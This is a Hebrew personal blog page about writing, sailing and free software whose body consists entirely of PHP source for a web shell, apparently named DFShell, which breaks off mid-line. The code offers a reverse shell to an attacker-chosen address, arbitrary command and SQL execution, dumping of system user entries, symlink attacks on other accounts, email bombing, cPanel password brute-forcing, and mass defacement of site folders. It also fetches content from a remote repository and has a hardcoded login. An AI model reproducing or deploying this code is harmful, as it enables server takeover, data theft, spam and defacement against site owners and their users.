תמונה שלי

הבלוג של אורי עידן

כתיבה, שייט תוכנה חופשית ומה שבינהם

  

array('pipe', 'r'), // shell can read from STDIN 1 => array('pipe', 'w'), // shell can write to STDOUT 2 => array('pipe', 'w') // shell can write to STDERR ); private $buffer = 1024; private $clen = 0; private $error = false; static protected $pass = "OI2lo2eG+xkgYPhmurVfWAsDHBx31O1qAoH2J2LkX7c="; //DF_Malaysia@1337$ static protected $remote_url = "https://raw.githubusercontent.com/EagleTube/DFS/main/contents"; public function __construct(){ $_SESSION['latest'] = $GLOBALS['DFSyntax'][0](self::$remote_url . "/version.txt"); $_SESSION['need_update'] = false; if(doubleval($_SESSION['latest'])!==$GLOBALS['DFShell_Ver']){ $_SESSION['need_update'] = true; } } public function DFSPopupMSG($no,$title,$msg,$foot,$x){ if($x){ $location = "window.location.replace(window.location.href)"; }else{ $location = "window.history.back()"; } if(isset($GLOBALS['DFConfig'][0]['dfp']) && isset($GLOBALS['DFConfig'][0]['dff'])){ $slocation = "window.location.replace('?dfp=".$GLOBALS['DFConfig'][0]['dfp']."')"; }else{ $slocation = "window.location.replace('".$GLOBALS['DFConfig'][2]['PHP_SELF']."')"; } switch($no){ case 1: $script = ""; print($script); break; case 2: $script = ""; print($script); break; case 3: $script = ""; print($script); break; case 4: $script = ""; print($script); break; case 5: $script = ""; print($script); break; } } function __call($method, $arg){ if(isset($method) && isset($arg)){ $arg[0]($arg[1]); //upcoming CNC ddos } } private function triggered(){ print("Place where magic happend!"); } public function Enc() { $this->iv_length = openssl_cipher_iv_length($this->ciphering); $this->output = openssl_encrypt($this->string,$this->ciphering,sha1($this->keys),$this->options,$this->iv); return $this->output; } public function Dec($enc) { $this->output = openssl_decrypt($enc,$this->ciphering,sha1($this->keys),$this->options,$this->iv); return $this->output; } public function DFSLogin($password){ $login_pass = $this->Dec(urldecode($password)); if($login_pass === $this->Dec(self::$pass)){ $_SESSION['DFS_Auth']=sha1($GLOBALS['DFConfig'][2]['REMOTE_ADDR']); setrawcookie('DFSVersion',$GLOBALS['DFShell_Ver'],(time()+18000),'/',$GLOBALS['DFConfig'][2]['HTTP_HOST'],1,1); return true; }else{ echo ""; //echo $login_pass; return false; } } public function DFSSlash(){ if($GLOBALS['DFSPlatform']!=='win'){ $slashtype = "/"; }else{ $slashtype = "\"; } return $slashtype; } public function DFSFormat($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' B'; } else { $bytes = '0 bytes'; } return $bytes; } ########## REVERSHELL> CREDIT : https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php ######### private function rw($input, $output, $iname, $oname) { while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { if ($GLOBALS['DFSPlatform'] === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } } } private function brw($input, $output, $iname, $oname) { $fstat = fstat($input); $size = $fstat['size']; if ($GLOBALS['DFSPlatform'] === 'lin' && $iname === 'STDOUT' && $this->clen) { while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { $this->clen -= $bytes; $size -= $bytes; } } while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { $size -= $bytes; } } private function read($stream, $name, $buffer) { if (($data = @fread($stream, $buffer)) === false) { $this->error = true; echo "
STRM_ERROR: Cannot read from {$name}, script will now exit...
"; } return $data; } private function write($stream, $name, $data) { if (($bytes = @fwrite($stream, $data)) === false) { $this->error = true; echo "
STRM_ERROR: Cannot write to {$name}, script will now exit...
"; } return $bytes; } public function DFSReverse($ip,$port){ $exit = false; if($GLOBALS['DFSPlatform']!=='lin'){ $exec = 'cmd.exe'; }else{ $exec = '/bin/sh'; } if (!$GLOBALS['DFSyntax'][5]('pcntl_fork')) { echo "DAEMONIZE: pcntl_fork() does not exists, moving on..."; } else if (($pid = @$GLOBALS['DFSyntax'][7]()) < 0) { echo "DAEMONIZE: Cannot fork off the parent process, moving on..."; } else if ($pid > 0) { $exit = true; echo "DAEMONIZE: Child process forked off successfully, parent process will now exit..."; } else if ($GLOBALS['DFSyntax'][12]() < 0) { echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan..."; } else { echo "DAEMONIZE: Completed successfully!"; } if(!$exit){ @set_time_limit(0); @umask(0); $socket = @$GLOBALS['DFSyntax'][6]($ip, $port, $errno, $errstr, 30); if(!$socket){ echo "Erro Socket! -> {$errno}: {$errstr}"; }else{ $GLOBALS['DFSyntax'][8]($socket, false); $process = @$GLOBALS['DFSyntax'][10]($exec, $this->descriptorspec, $pipes, null, null); if (!$process) { echo "PROC_ERROR: Cannot start the shell"; }else{ foreach ($pipes as $pipe) { $GLOBALS['DFSyntax'][8]($pipe, false); } $status = $GLOBALS['DFSyntax'][9]($process); @fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}"); do { $status = $GLOBALS['DFSyntax'][9]($process); if (feof($socket)) { echo "SOC_ERROR: Shell connection has been terminated"; break; } else if (feof($pipes[1]) || !$status['running']) { echo "PROC_ERROR: Shell process has been terminated"; break; } $streams = array( 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR 'write' => null, 'except' => null ); $num_changed_streams = @$GLOBALS['DFSyntax'][13]($streams['read'], $streams['write'], $streams['except'], 0); if ($num_changed_streams === false) { echo "STRM_ERROR: stream_select() failed"; break; } else if ($num_changed_streams > 0) { if ($GLOBALS['DFSPlatform'] === 'lin') { if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } } else if ($GLOBALS['DFSPlatform'] === 'win') { if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } } } } while (!$this->error); foreach ($pipes as $pipe) { fclose($pipe); } $GLOBALS['DFSyntax'][11]($process); } fclose($socket); } } } ####### END REVERSHELL ######## public function DFSAction($action){ switch(strtolower($action)){ case "download": $slashtype = $this->DFSSlash(); $pathfile = $this->Dec(($this->query[0])) . $this->Dec(($this->query[1])); $pathfile = $this->Dec($this->DFSDirFilter($pathfile)); if( file_exists($pathfile) ){ $type = mime_content_type($pathfile) ?: 'text/plain'; header("Content-Type: ".$type); header('Content-Description: File Transfer'); header("Content-Length: ".filesize($pathfile)); header('Content-Disposition: attachment; filename="'.basename($pathfile).'"'); $GLOBALS['DFSyntax'][2]($pathfile); }else{ echo ""; } break; case "chmd": $slashtype = $this->DFSSlash(); $this->DFSCurrent($slashtype); if(isset($this->query)){ $dirmod = $this->Dec($this->query[0]); $filmod = ""; if(isset($this->query[1])){ $filmod = $this->Dec($this->query[1]); } $_cmod = $this->DFSMod(fileperms($dirmod . $filmod)); echo "

Location : $dirmod$filmod

"; echo "
"; if(isset($GLOBALS['DFConfig'][1]['cmod'])){ if($this->DFSChange($dirmod . $filmod,$GLOBALS['DFConfig'][1]['modf'])){ echo ""; }else{ echo ""; } } } break; case "bombing": echo "

Email Bombing

"; if(isset($GLOBALS['DFConfig'][1]['mail_list']) && isset($GLOBALS['DFConfig'][1]['mail_text'])){ $emails = explode("",$GLOBALS['DFConfig'][1]['mail_list']); $message = $GLOBALS['DFConfig'][1]['mail_text']; $subject = $GLOBALS['DFConfig'][1]['mail_subject']; $headers = "From: ".$GLOBALS['DFConfig'][2]['SERVER_ADMIN']; foreach($emails as $email){ $email = preg_replace("/s+/i","",$email); if(@mail($email,$subject,$message,$headers)){ print("Email sent -> ".$email."
"); }else{ print("Failed -> ".$email."
"); } } } echo "
"; break; case "massdel": //upcoming if(isset($GLOBALS['DFConfig'][1]['selectAction'])){ if($GLOBALS['DFConfig'][1]['selectAction']==="Delete") if(!empty($GLOBALS['DFConfig'][1]['toZip'])){ if(isset($GLOBALS['DFConfig'][0]['dfp'])){ $delPath = $this->Dec($GLOBALS['DFConfig'][0]['dfp']) . $slashtype; }else{ $delPath = ""; } $toDel = $GLOBALS['DFConfig'][1]['toZip']; for($i=0;$iDec(urldecode($mdel[0])); $mdel_item = $this->Dec(urldecode($mdel[1])); if(file_exists($mdel_dir . $mdel_item)){ if(is_dir($mdel_dir . $mdel_item)){ @rmdir($mdel_dir . $mdel_item); } if(is_file($mdel_dir . $mdel_item)){ @unlink($mdel_dir . $mdel_item); } } } $this->DFSPopupMSG(3,null,"Selected file deleted!",null,true); }else{ $this->DFSPopupMSG(4,null,"No file deleted!",null,true); } } break; case "zipping": $ziproc = new ZipArchive; $slashtype = $this->DFSSlash(); if(isset($GLOBALS['DFConfig'][1]['selectAction'])){ if($GLOBALS['DFConfig'][1]['selectAction']==="Zip") if(empty($GLOBALS['DFConfig'][1]['toZip'])){ print(""); }else{ $toZip = $GLOBALS['DFConfig'][1]['toZip']; $zipXname = md5(time()) . ".zip"; if(isset($GLOBALS['DFConfig'][0]['dfp'])){ $zipdirname = $this->Dec($GLOBALS['DFConfig'][0]['dfp']) . $slashtype . $zipXname; }else{ $zipdirname = $zipXname; } if($ziproc -> open($zipdirname, ZipArchive::CREATE | ZipArchive::OVERWRITE)){ for($i=0;$iDec(urldecode($mzip[0])) . $slashtype; $recdir = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dirtozip), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($recdir as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($dirtozip)); $ziproc->addFile($filePath, $relativePath); } } }else{ $filetozip = $this->Dec(urldecode($mzip[0])) . $slashtype . $this->Dec(urldecode($mzip[1])); $ziproc->addFile($filetozip,$this->Dec(urldecode($mzip[1]))); } } echo ""; $ziproc ->close(); } } } break; case "upload": $slashtype = $this->DFSSlash(); if(!isset($this->query[0])){ $path = getcwd() . $slashtype; }else{ $path = $this->Dec(($this->query[0])) ?: getcwd() . $slashtype; } $path = $this->Dec($this->DFSDirFilter($path)) . $slashtype; if(isset($GLOBALS['DFConfig'][1]['dfupload'])){ if(move_uploaded_file($GLOBALS['DFConfig'][4]['dffile']['tmp_name'],$path.$GLOBALS['DFConfig'][4]['dffile']['name'])){ $this->DFSPopupMSG(3,null,"File uploaded!",null,true); }else{ $this->DFSPopupMSG(4,null,"Permission denied!",null,true); } } break; case "dest": $slashtype = $this->DFSSlash(); if(!isset($GLOBALS['DFConfig'][1]['destroy'])){ echo "
"; echo "
"; }else{ $DFS_SHELL = $GLOBALS['DFConfig'][2]['DOCUMENT_ROOT'] . $slashtype . $GLOBALS['DFConfig'][2]['PHP_SELF']; if(unlink($DFS_SHELL)){ $this->DFSPopupMSG(3,null,"File destroyed!!",null,false); }else{ $this->DFSPopupMSG(4,null,"Unable destroyed!!",null,true); } } break; case "edit": $slashtype = $this->DFSSlash(); $this->DFSCurrent($slashtype); $pathfile = $this->Dec(($this->query[0])) . $this->Dec(($this->query[1])); $pathfile = $this->Dec($this->DFSDirFilter($pathfile)); if(!isset($GLOBALS['DFConfig'][1]['dfedit'])){ echo "
"; echo "
"; echo ""; echo ""; echo "
"; }else{ $pto = fopen($pathfile,'w'); fwrite($pto,$GLOBALS['DFConfig'][1]['editx']); fclose($pto); $this->DFSPopupMSG(3,null,"Saved!",null,true); } break; case "view": $slashtype = $this->DFSSlash(); $this->DFSCurrent($slashtype); $pathfile = $this->Dec(($this->query[0])) . $this->Dec(($this->query[1])); $pathfile = $this->Dec($this->DFSDirFilter($pathfile)); echo "

Filename -> ".$this->Dec(($this->query[1]))."

"; echo "
"; show_source($pathfile); echo "
"; break; case "mkfile": $slashtype = $this->DFSSlash(); if(isset($GLOBALS['DFConfig'][1]['createfile'])){ $fname = $GLOBALS['DFConfig'][1]['newfile'] ?: 'newfile.txt'; $fcreate = fopen($this->Dec(($this->query[0])).$slashtype.$fname,'w'); fwrite($fcreate,""); fclose($fcreate); $this->DFSPopupMSG(3,null,"File created!",null,true); } break; case "mkdir": $slashtype = $this->DFSSlash(); if(isset($GLOBALS['DFConfig'][1]['createfolder'])){ $fname = $GLOBALS['DFConfig'][1]['newfolder'] ?: 'newfolder'; if(!file_exists($fname)){ if(mkdir($this->Dec(($this->query[0])).$slashtype.$fname)){ $this->DFSPopupMSG(3,null,"Folder created!",null,true); }else{ $this->DFSPopupMSG(4,null,"Permission denied!",null,true); } }else{ $this->DFSPopupMSG(4,null,"Folder existed!",null,true); } } break; case "cmd": $slashtype = $this->DFSSlash(); $this->DFSCurrent($slashtype); echo "
"; echo "


"; echo "
"; break; case "sym": echo "
"; echo ""; echo "
"; echo ""; echo ""; echo ""; echo "
"; if(isset($GLOBALS['DFConfig'][1]['dfssym'])){ if($GLOBALS['DFSPlatform']!=='win'){ if(!file_exists('sym')) { mkdir($GLOBALS['DFConfig'][1]['path'].'/sym'); } $contents = $GLOBALS['DFSyntax'][0](self::$remote_url . "/htaccess.txt"); for ($uid = 0; $uid < 4000; $uid++){ $nothing = posix_getpwuid($uid); if (!empty($nothing)){ if(!file_exists($GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name'])){ mkdir($GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name']); $targetpath = $this->DFSRender('/%{user}%/i',$nothing['name'],base64_decode(urldecode($GLOBALS['DFConfig'][1]['target']))); if(isset($targetpath)){ $this->DFSExecute("ln -s ".$targetpath.' '.$GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name'].'/'.$GLOBALS['DFConfig'][1]['dfsaved']); symlink($targetpath, $GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name'].'/'.$GLOBALS['DFConfig'][1]['dfsaved']); $user_ht = fopen($GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name'].'/.htaccess','w'); fwrite($user_ht,$this->DFSRender('/%{user}%/i',$GLOBALS['DFConfig'][1]['dfsaved'],$contents)); fclose($user_ht); $dfsv = urlencode($GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name'].'/'.$GLOBALS['DFConfig'][1]['dfsaved']); print("Done! -> ".$nothing['name']." -> Open
"); } }else{ $targetpath = $this->DFSRender('/%{user}%/i',$nothing['name'],base64_decode(urldecode($GLOBALS['DFConfig'][1]['target']))); if(isset($targetpath)){ $this->DFSExecute("ln -s ".$targetpath.' '.$GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name'].'/'.$GLOBALS['DFConfig'][1]['dfsaved']); symlink($targetpath, $GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name'].'/'.$GLOBALS['DFConfig'][1]['dfsaved']); $user_ht = fopen($GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name'].'/.htaccess','w'); fwrite($user_ht,$this->DFSRender('/%{user}%/i',$GLOBALS['DFConfig'][1]['dfsaved'],$contents)); fclose($user_ht); $dfsv = urlencode($GLOBALS['DFConfig'][1]['path'].'/sym/'.$nothing['name'].'/'.$GLOBALS['DFConfig'][1]['dfsaved']); print("Done! -> ".$nothing['name']." -> Open
"); } } } } }else{ echo "
Not work in window!
"; } } echo "
"; break; case "reverse": $revhtml = explode('||',$GLOBALS['DFSyntax'][0](self::$remote_url.'/others.html'))[1]; echo "
"; if(!isset($GLOBALS['DFConfig'][1]['dfsrev'])){ echo $revhtml; }else{ echo $revhtml; echo ""; $addr = trim($GLOBALS['DFConfig'][1]['dfsaddr']); $port = trim($GLOBALS['DFConfig'][1]['dfsport']); $this->DFSReverse($addr,$port); echo ""; } echo "
"; break; case "conf": echo "
"; $pwid = array(); if($GLOBALS['DFSPlatform']!=='win'){ for ($uid = 0; $uid < 4000; $uid++){ $nothing = posix_getpwuid($uid); if (!empty($nothing)){ array_push($pwid,$nothing['name'].':'.$nothing['passwd'].':'.$nothing['uid'].':'.$nothing['gid'].':'.$nothing['dir'].':'.$nothing['shell']); } } foreach($pwid as $conf){ print($conf."
"); } }else{ echo "
Not work in window!
"; } echo "
"; break; case "unzip": $from = $this->Dec($GLOBALS['DFConfig'][0]['dfp']); $zipp = $this->Dec($GLOBALS['DFConfig'][0]['dff']); echo "
"; if(isset($GLOBALS['DFConfig'][1]['destination'])){ $ziproc = new ZipArchive; $pth = $from.$zipp; if ($ziproc->open($pth) === TRUE) { // Unzip Path $ziproc->extractTo($GLOBALS['DFConfig'][1]['destination']); $ziproc->close(); $this->DFSPopupMSG(3,null,"File successfully extracted to destination!",null,false); } else { $this->DFSPopupMSG(4,null,"Failed to extract into destination!",null,false); } }else{ echo "
Filename : ".$from.$zipp.""; echo ""; echo ""; echo "
"; } echo "
"; break; case "scand": $slashtype = $this->DFSSlash(); $path = $this->Dec(($this->query[0])). $slashtype; $path = $this->Dec($this->DFSDirFilter($path)); $this->DFSCurrent($slashtype); echo "
"; echo ""; $folder = array_diff(scandir($path),['.','..']); $files = scandir($path); foreach($folder as $p){ if(is_dir($path . $slashtype . $p)){ $filtered = $this->Dec($this->DFSDirFilter($path)); $this->string = $filtered . $p; $uid = explode(':',$this->DFSOG($filtered.$slashtype.$p)); //$og = posix_getpwuid($uid[0]); echo "

"; echo ""; echo ""; echo ""; echo ""; echo ""; echo "

"; } } foreach($files as $p){ if(is_file($path . $slashtype . $p)){ $filtered = $this->Dec($this->DFSDirFilter($path)); $this->string = $filtered; $dfp = $this->Enc(); $this->string = $p; $dff = $this->Enc(); $compressed = array("zip","tar","gz","rar"); $isZip = pathinfo($p,PATHINFO_EXTENSION); if(in_array($isZip,$compressed)){ $tname = $p . ""; }else{ $tname = $p; } echo "

"; echo ""; echo ""; echo ""; echo ""; echo ""; echo "

"; } } echo "
PickTypeNameSizeOwner:GroupsPermsModifiedAction
$p".$this->DFSOG($filtered . $slashtype . $p)."".$this->DFSPerms($filtered . $slashtype . $p)."".date("h:i:sA(d/m/Y)",filemtime($filtered . $slashtype . $p))." .
$tname".$this->DFSFormat(filesize($filtered.$p))."".$this->DFSOG($filtered.$p)."".$this->DFSPerms($filtered.$p)."".date("h:i:sA(d/m/Y)",filemtime($filtered.$p))." . . .
"; break; case "del": $slashtype = $this->DFSSlash(); $pathfile = $this->Dec(($this->query[0])) . $this->Dec(($this->query[1]?:'')); $pathfile = $this->Dec($this->DFSDirFilter($pathfile)); if(is_file($pathfile)){ if(unlink($pathfile)){ $this->DFSPopupMSG(3,null,"File Successfully deleted!",null,false); }else{ $this->DFSPopupMSG(4,null,"Permission denied!",null,false); } }else if(is_dir($pathfile)){ if(rmdir($pathfile)){ $this->DFSPopupMSG(3,null,"Directory Successfully deleted!",null,false); }else{ $this->DFSPopupMSG(4,null,"Permission denied!",null,false); } } break; case "ren": $slashtype = $this->DFSSlash(); $pathfile = $this->Dec(($this->query[0])) . $this->Dec(($this->query[1])); $pathfile = $this->Dec($this->DFSDirFilter($pathfile)); if(getcwd()==$pathfile){ $GLOBALS['DFSyntax'][3]($GLOBALS['DFConfig'][2]['DOCUMENT_ROOT']); } echo "
"; if(isset($GLOBALS['DFConfig'][1]['newfile'])){ if(file_exists($pathfile)){ $dfsRen = preg_replace("/".basename($pathfile)."/i",$GLOBALS['DFConfig'][1]['newfile'],$pathfile); if(rename($pathfile,$dfsRen)){ $this->DFSPopupMSG(5,"","File successfully renamed!","",true); echo ""; }else{ $this->DFSPopupMSG(4,null,"Permission denied!",null,true); } }else{ $this->DFSPopupMSG(4,null,"No such file/directory!",null,true); } }else{ $dfsren = preg_replace("/".basename($pathfile)."/i","",$pathfile); $this->string = $dfsren; echo "
"; } echo "
"; break; case "sql": echo "
"; if(isset($_SESSION['sql_auth'])){ $sqldat = explode('|--|',$_SESSION['sql_auth']); $conn = mysqli_connect($sqldat[0],$sqldat[1],$sqldat[2]); if(isset($GLOBALS['DFConfig'][1]['other'])){ $this->DFSPopupMSG(1,"Get Adminer","Please get adminer from link below","Adminer",true); }else if(isset($GLOBALS['DFConfig'][1]['sqldrop'])){ $ftar = array("'",'"'); if(!isset($GLOBALS['DFConfig'][0]['tbname'])){ mysqli_select_db($conn,$GLOBALS['DFConfig'][0]['dbname']); $dropping = str_replace($ftar,"",$GLOBALS['DFConfig'][0]['dbname']); $dropsql = "DROP DATABASE $dropping"; $query = mysqli_query($conn,$dropsql) or exit(mysqli_error($conn)); $this->DFSPopupMSG(3,null,"Database DROPPED!",null,false); }else{ mysqli_select_db($conn,$GLOBALS['DFConfig'][0]['dbname']); $dropping = str_replace($ftar,"",$GLOBALS['DFConfig'][0]['tbname']); $dropsql = "DROP TABLE $dropping"; $query = mysqli_query($conn,$dropsql) or exit(mysqli_error($conn)); $this->DFSPopupMSG(3,null,"Table DROPPED!",null,false); } }else if(isset($GLOBALS['DFConfig'][1]['sqlcommands'])){ if(isset($GLOBALS['DFConfig'][0]['dbname'])){ mysqli_select_db($conn,$GLOBALS['DFConfig'][0]['dbname']); $inject = $GLOBALS['DFConfig'][1]['sqlcommands']; $query = mysqli_query($conn,$inject) or exit(mysqli_error($conn)); $this->DFSPopupMSG(3,null,"Command executed!",null,false); }else{ $inject = $GLOBALS['DFConfig'][1]['sqlcommands']; $query = mysqli_query($conn,$inject) or exit(mysqli_error($conn)); $this->DFSPopupMSG(3,null,"Command executed!",null,false); } }else{ echo "
"; if(isset($GLOBALS['DFConfig'][0]['tbname']) || isset($GLOBALS['DFConfig'][0]['dbname'])){ echo "
"; } echo "
"; echo "

"; if(!isset($GLOBALS['DFConfig'][0]['dbname'])){ echo "
"; }else{ if(!isset($GLOBALS['DFConfig'][0]['tbname'])){ echo "
"; }else{ echo "
"; } } if(isset($GLOBALS['DFConfig'][0]['dbname'])){ $dbs = mysqli_real_escape_string($conn,$GLOBALS['DFConfig'][0]['dbname']); $sql = "select table_name from information_schema.tables where table_schema='$dbs';"; $query = mysqli_query($conn,$sql) or exit(mysqli_error($conn)); while($fetch = mysqli_fetch_assoc($query)){ echo "". $fetch['table_name'] . "
"; } echo "
"; if(isset($GLOBALS['DFConfig'][0]['tbname'])){ if(!isset($GLOBALS['DFConfig'][0]['limit'])){ mysqli_select_db($conn,$dbs); $tbl = mysqli_real_escape_string($conn,$GLOBALS['DFConfig'][0]['tbname']); $sql = "select column_name from information_schema.columns where table_name='$tbl'"; $sql1 = "select * from $tbl limit 20"; $query = mysqli_query($conn,$sql) or exit(mysqli_error($conn)); $query1 = mysqli_query($conn,$sql1) or exit(mysqli_error($conn)); echo ""; while($fetch=mysqli_fetch_assoc($query)){ echo ""; } while($fetch1=mysqli_fetch_assoc($query1)){ echo ""; foreach($fetch1 as $key => $val){ echo ""; } echo ""; } $total_row=mysqli_num_rows($query1); echo "
".$fetch['column_name']."
".$val."
"; if($total_row>0){ echo "
"; echo ""; echo ""; echo ""; echo ""; echo "
"; } echo "
"; }else{ $limits = explode(',',$GLOBALS['DFConfig'][0]['limit']); $offset = intval($limits[0]); $limit = intval($limits[1]); mysqli_select_db($conn,$dbs); $tbl = mysqli_real_escape_string($conn,$GLOBALS['DFConfig'][0]['tbname']); $sql = "select column_name from information_schema.columns where table_name='$tbl'"; $sql1 = "select * from $tbl limit $offset,$limit"; $query = mysqli_query($conn,$sql) or exit(mysqli_error($conn)); $query1 = mysqli_query($conn,$sql1) or exit(mysqli_error($conn)); echo ""; while($fetch=mysqli_fetch_assoc($query)){ echo ""; } while($fetch1=mysqli_fetch_assoc($query1)){ echo ""; foreach($fetch1 as $key => $val){ echo ""; } echo ""; } echo "
".$fetch['column_name']."
".$val."
"; $total_row=mysqli_num_rows($query1); if($total_row>0){ echo "
"; echo ""; echo ""; echo ""; echo ""; echo "
"; } echo"
"; } } }else{ $sql = "select schema_name from information_schema.schemata"; $query = mysqli_query($conn,$sql) or exit(mysqli_error($conn)); while($fetch = mysqli_fetch_assoc($query)){ echo "". $fetch['schema_name'] . "
"; } echo "
"; } if(isset($GLOBALS['DFConfig'][1]['sqllogout'])){ $_SESSION['sql_auth'] = null; unset($_SESSION['sql_auth']); echo ""; } if(isset($GLOBALS['DFConfig'][1]['sqlcmd'])){ $sqlcmd = $GLOBALS['DFConfig'][1]['sqlcmd']; $qrycmd = mysqli_query($conn,$sqlcmd) or exit(mysqli_error($conn)); $this->DFSPopupMSG(1,"SQL Query","Command successfully executed!","",true); } } }else{ if(!isset($GLOBALS['DFConfig'][1]['connect_sql'])){ echo explode('||',$GLOBALS['DFSyntax'][0](self::$remote_url.'/others.html'))[4]; }else{ $tmp_conn = mysqli_connect($GLOBALS['DFConfig'][1]['sqlhost'],$GLOBALS['DFConfig'][1]['sqluser'],$GLOBALS['DFConfig'][1]['sqlpass']) or exit($this->DFSPopupMSG(2,"MySQL Connection","Cannot connect to database!","",true)); if(!mysqli_connect_errno()){ $_SESSION['sql_auth'] = $GLOBALS['DFConfig'][1]['sqlhost']."|--|".$GLOBALS['DFConfig'][1]['sqluser']."|--|".$GLOBALS['DFConfig'][1]['sqlpass']; echo ""; }else{ echo "Failed to connect mysql"; exit; } } } echo ""; break; case "logout": unset($_SESSION['DFS_Auth']); session_destroy(); echo ""; break; case "crack": if(!isset($GLOBALS['DFConfig'][1]['crack'])){ echo explode('||',$GLOBALS['DFSyntax'][0](self::$remote_url.'/others.html'))[0]; }else{ $host = $GLOBALS['DFConfig'][1]['host']; $user = explode("",$GLOBALS['DFConfig'][1]['userlist']); $pass = explode("",$GLOBALS['DFConfig'][1]['passlist']); $port = $GLOBALS['DFConfig'][1]['portc']; $timeout = $GLOBALS['DFConfig'][1]['timeout']; echo "
"; foreach($user as $u){ print("

Trying for user -> ".$u."

"); foreach($pass as $p){ $this->DFSCracker(trim($host),$port,trim($u),trim($p),trim($timeout)); } } echo "

Done!

"; echo "
"; } break; case "mass": $slashtype = $this->DFSSlash(); echo "
"; if(!isset($GLOBALS['DFConfig'][1]['dfmass'])){ echo explode('||',$GLOBALS['DFSyntax'][0](self::$remote_url.'/others.html'))[2]; }else{ $arrpath = glob($GLOBALS['DFConfig'][1]['masspath'] . $slashtype . '*', GLOB_ONLYDIR); if(!empty($GLOBALS['DFConfig'][1]['fromurl']) && $GLOBALS['DFConfig'][1]['fromurl']!=="" && $GLOBALS['DFConfig'][1]['fromurl']!==NULL){ if(filter_var($GLOBALS['DFConfig'][1]['fromurl'], FILTER_VALIDATE_URL)){ $ncode = file_get_contents($GLOBALS['DFConfig'][1]['fromurl']); }else{ die(""); } }else{ $ncode = $GLOBALS['DFConfig'][1]['codemass'] ?: 'Hacked by Eagle Eye'; } $lekluh = $GLOBALS['DFConfig'][1]['masspath'] . $slashtype . $GLOBALS['DFConfig'][1]['massname']; $rakluh = fopen($lekluh,'w'); fwrite($rakluh,$ncode); foreach($arrpath as $p){ $npath = $p . $slashtype . $GLOBALS['DFConfig'][1]['massname']; $nopen = fopen($npath,'w'); fwrite($nopen,$ncode); fclose($nopen); } fclose($rakluh); $this->DFSPopupMSG(1,"Mass defacements","All file successfully created!","",true); } echo "
"; break; } } public function DFSExecute($command){ if(isset($GLOBALS['DFConfig'][0]['dfp'])){ $GLOBALS['DFSyntax'][3]($this->Dec($GLOBALS['DFConfig'][0]['dfp'])); }else{ $GLOBALS['DFSyntax'][3]($GLOBALS['DFConfig'][2]['DOCUMENT_ROOT']); } if($this->DFSDat('ini','disable_functions')!=="None"){ $disCMD = explode(",",$this->DFSDat('ini','disable_functions')); $disCMD = array_map('trim', $disCMD); foreach($GLOBALS['DFSCmd'] as $cmd){ if(!in_array($cmd,$disCMD)){ $availCMD = $cmd; switch($availCMD){ case $GLOBALS['DFSCmd'][4]: return $this->DFSProcOpen($command); break; case $GLOBALS['DFSCmd'][1]: case $GLOBALS['DFSCmd'][2]: print($availCMD($command)); return $GLOBALS['DFSCmd'][1]($command); break; default: return $availCMD($command); break; } break; } } }else{ return system($command); } } private function DFSProcOpen($command){ $descriptorspec = array( 0 => array('pipe', 'r'), // shell can read from STDIN 1 => array('pipe', 'w'), // shell can write to STDOUT 2 => array('pipe', 'w') // shell can write to STDERR ); $exec = $command; $process = $GLOBALS['DFSCmd'][4]($exec, $descriptorspec, $pipes, null, null); if(is_resource($process)){ $retCMD = $GLOBALS['DFSyntax'][14]($pipes[1]); echo $retCMD; proc_close($process); }else{ echo "Fail to execute!"; } } private function DFSWinPathCheck(){ $partition = array("A:","B:","C:","D:","E:","F:","G:","H:","I:","J:","K:","L:","M:", "N:","O:","P:","Q:","R:","S:","T:","U:","V:","W:","X:","Y:","Z:"); $available = array(); foreach($partition as $part){ if(is_dir($part)){ array_push($available,$part); } } return $available; } private function DFSCracker($host,$port,$user,$pass,$timeout){ $ch = curl_init(); $qdata = array( 'user'=>$user, 'pass'=>$pass, 'goto_uri'=>'/' ); curl_setopt($ch, CURLOPT_URL, "https://$host:" . $port . "/login/?login_only=1"); curl_setopt($ch, CURLOPT_HEADER, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $qdata); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FAILONERROR, 1); $data = curl_exec($ch); $httpcode = curl_getinfo($ch, 